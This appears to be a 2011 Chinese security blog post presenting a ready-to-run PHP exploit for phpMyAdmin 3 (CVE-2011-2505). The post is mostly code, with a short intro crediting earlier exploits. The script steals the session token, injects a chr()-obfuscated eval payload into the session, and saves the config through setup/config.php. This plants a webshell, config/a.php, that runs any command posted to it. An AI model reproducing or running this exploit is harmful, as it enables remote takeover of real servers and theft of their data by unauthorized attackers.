phpMyAdmin3 remote code execute php版本 exploit

2011-07-12 13:24:55 0 52
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。

昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
一是session.auto_start = 1;
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。

在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp,代码如下:
#!/usr/bin/php

<?php

print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun([url]www.oldjun.com[/url])
welcome to [url]www.t00ls.net[/url]
mail: [email]oldjun@gmail.com[/email]
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

/**
* working when the directory:"config" exists and is writeable.
**/

if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
    exit;
}

$host = $argv[1];
$path = $argv[2];

/**
* Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
        exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
if($token && $sessionid){
        echo "[+] token:$token\n";
        echo "[+] Session ID:$sessionid\n";
}else{
        exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

/**
* Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
* Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
        echo "[+] Congratulations! Expoilt successfully....\n";
        echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
        exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

function php_request($url,$data='',$cookie=''){
        global  $host, $path;
       
        $method=$data?'POST':'GET';
       
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
        if (!$fp) {
        echo 'No response from '.$host; die;
        }
    fputs($fp, $packet);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}
       
?>

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